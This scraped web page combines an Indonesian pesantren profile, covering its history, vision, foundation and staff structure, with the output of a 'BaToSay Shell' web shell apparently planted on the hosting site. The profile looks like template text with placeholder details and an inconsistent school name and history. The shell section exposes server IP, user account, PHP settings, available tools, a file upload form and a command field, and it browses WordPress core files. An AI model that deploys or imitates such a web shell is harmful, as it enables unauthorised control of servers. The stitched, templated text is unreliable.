Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.144.31.163
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/class-wp-oembed-controller.php
<?php
/**
 * WP_oEmbed_Controller class, used to provide an oEmbed endpoint.
 *
 * @package WordPress
 * @subpackage Embeds
 * @since 4.4.0
 */

/**
 * oEmbed API endpoint controller.
 *
 * Registers the REST API route and delivers the response data.
 * The output format (XML or JSON) is handled by the REST API.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
final class WP_oEmbed_Controller {
	/**
	 * Register the oEmbed REST API route.
	 *
	 * @since 4.4.0
	 */
	public function register_routes() {
		/**
		 * Filters the maxwidth oEmbed parameter.
		 *
		 * @since 4.4.0
		 *
		 * @param int $maxwidth Maximum allowed width. Default 600.
		 */
		$maxwidth = apply_filters( 'oembed_default_width', 600 );

		register_rest_route(
			'oembed/1.0',
			'/embed',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => '__return_true',
					'args'                => array(
						'url'      => array(
							'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ),
							'required'    => true,
							'type'        => 'string',
							'format'      => 'uri',
						),
						'format'   => array(
							'default'           => 'json',
							'sanitize_callback' => 'wp_oembed_ensure_format',
						),
						'maxwidth' => array(
							'default'           => $maxwidth,
							'sanitize_callback' => 'absint',
						),
					),
				),
			)
		);

		register_rest_route(
			'oembed/1.0',
			'/proxy',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_proxy_item' ),
					'permission_callback' => array( $this, 'get_proxy_item_permissions_check' ),
					'args'                => array(
						'url'       => array(
							'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ),
							'required'    => true,
							'type'        => 'string',
							'format'      => 'uri',
						),
						'format'    => array(
							'description' => __( 'The oEmbed format to use.' ),
							'type'        => 'string',
							'default'     => 'json',
							'enum'        => array(
								'json',
								'xml',
							),
						),
						'maxwidth'  => array(
							'description'       => __( 'The maximum width of the embed frame in pixels.' ),
							'type'              => 'integer',
							'default'           => $maxwidth,
							'sanitize_callback' => 'absint',
						),
						'maxheight' => array(
							'description'       => __( 'The maximum height of the embed frame in pixels.' ),
							'type'              => 'integer',
							'sanitize_callback' => 'absint',
						),
						'discover'  => array(
							'description' => __( 'Whether to perform an oEmbed discovery request for unsanctioned providers.' ),
							'type'        => 'boolean',
							'default'     => true,
						),
					),
				),
			)
		);
	}

	/**
	 * Callback for the embed API endpoint.
	 *
	 * Returns the JSON object for the post.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return array|WP_Error oEmbed response data or WP_Error on failure.
	 */
	public function get_item( $request ) {
		$post_id = url_to_postid( $request['url'] );

		/**
		 * Filters the determined post ID.
		 *
		 * @since 4.4.0
		 *
		 * @param int    $post_id The post ID.
		 * @param string $url     The requested URL.
		 */
		$post_id = apply_filters( 'oembed_request_post_id', $post_id, $request['url'] );

		$data = get_oembed_response_data( $post_id, $request['maxwidth'] );

		if ( ! $data ) {
			return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) );
		}

		return $data;
	}

	/**
	 * Checks if current user can make a proxy oEmbed request.
	 *
	 * @since 4.8.0
	 *
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_proxy_item_permissions_check() {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to make proxied oEmbed requests.' ), array( 'status' => rest_authorization_required_code() ) );
		}
		return true;
	}

	/**
	 * Callback for the proxy API endpoint.
	 *
	 * Returns the JSON object for the proxied item.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_oEmbed::get_html()
	 * @global WP_Embed   $wp_embed   WordPress Embed object.
	 * @global WP_Scripts $wp_scripts
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return object|WP_Error oEmbed response data or WP_Error on failure.
	 */
	public function get_proxy_item( $request ) {
		global $wp_embed, $wp_scripts;

		$args = $request->get_params();

		// Serve oEmbed data from cache if set.
		unset( $args['_wpnonce'] );
		$cache_key = 'oembed_' . md5( serialize( $args ) );
		$data      = get_transient( $cache_key );
		if ( ! empty( $data ) ) {
			return $data;
		}

		$url = $request['url'];
		unset( $args['url'] );

		// Copy maxwidth/maxheight to width/height since WP_oEmbed::fetch() uses these arg names.
		if ( isset( $args['maxwidth'] ) ) {
			$args['width'] = $args['maxwidth'];
		}
		if ( isset( $args['maxheight'] ) ) {
			$args['height'] = $args['maxheight'];
		}

		// Short-circuit process for URLs belonging to the current site.
		$data = get_oembed_response_data_for_url( $url, $args );

		if ( $data ) {
			return $data;
		}

		$data = _wp_oembed_get_object()->get_data( $url, $args );

		if ( false === $data ) {
			// Try using a classic embed, instead.
			/* @var WP_Embed $wp_embed */
			$html = $wp_embed->get_embed_handler_html( $args, $url );

			if ( $html ) {
				// Check if any scripts were enqueued by the shortcode, and include them in the response.
				$enqueued_scripts = array();

				foreach ( $wp_scripts->queue as $script ) {
					$enqueued_scripts[] = $wp_scripts->registered[ $script ]->src;
				}

				return (object) array(
					'provider_name' => __( 'Embed Handler' ),
					'html'          => $html,
					'scripts'       => $enqueued_scripts,
				);
			}

			return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) );
		}

		/** This filter is documented in wp-includes/class-wp-oembed.php */
		$data->html = apply_filters( 'oembed_result', _wp_oembed_get_object()->data2html( (object) $data, $url ), $url, $args );

		/**
		 * Filters the oEmbed TTL value (time to live).
		 *
		 * Similar to the {@see 'oembed_ttl'} filter, but for the REST API
		 * oEmbed proxy endpoint.
		 *
		 * @since 4.8.0
		 *
		 * @param int    $time    Time to live (in seconds).
		 * @param string $url     The attempted embed URL.
		 * @param array  $args    An array of embed request arguments.
		 */
		$ttl = apply_filters( 'rest_oembed_ttl', DAY_IN_SECONDS, $url, $args );

		set_transient( $cache_key, $data, $ttl );

		return $data;
	}
}

Batosay - 2023
IDNSEO Team